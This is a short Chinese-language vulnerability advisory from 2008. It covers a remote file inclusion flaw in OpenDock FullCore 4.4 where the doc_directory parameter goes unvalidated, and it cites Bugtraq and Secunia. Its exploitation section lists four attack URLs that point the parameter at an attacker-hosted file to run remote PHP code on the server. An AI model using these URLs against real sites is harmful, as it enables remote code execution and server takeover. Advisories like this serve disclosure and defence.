OpenDock FullCore远程文件包含漏洞
2008-10-03
系统编号:
WAVDB-01066
BUGTRAQ: 20573
影响版本:
OpenDock FullCore 4.4
程序介绍:
OpenDock FullCore是开放源码的内容管理系统。
漏洞分析:
OpenDock FullCore在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。 OpenDock FullCore的sw/lib_cart/cart.php、sw/lib_cart/lib_cart.php、sw/lib_cart/lib_read_cart.php等脚本没有正确验证doc_directory参数的输入,允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。
漏洞利用:
http://example.com/[OpenDockFullCore_Path]/sw/index_sw.php?doc_directory=http://example.com/attacker_file http://example.com/[OpenDockFullCore_Path]/sw/lib_cart/cart.php?doc_directory=http://example.com/attacker_file http://example.com/[OpenDockFullCore_Path]/sw/lib_cart/lib_cart.php?doc_directory=http://example.com/attacker_file http://example.com/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=http://example.com/attacker_file
解决方案:
厂商补丁:
OpenDock
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://web.opendock.net/index.php/ln/en/id_p/1.html
信息来源:
<*来源:Matdhule (matdhule@gmail.com)
链接:http://secunia.com/advisories/22410/
*>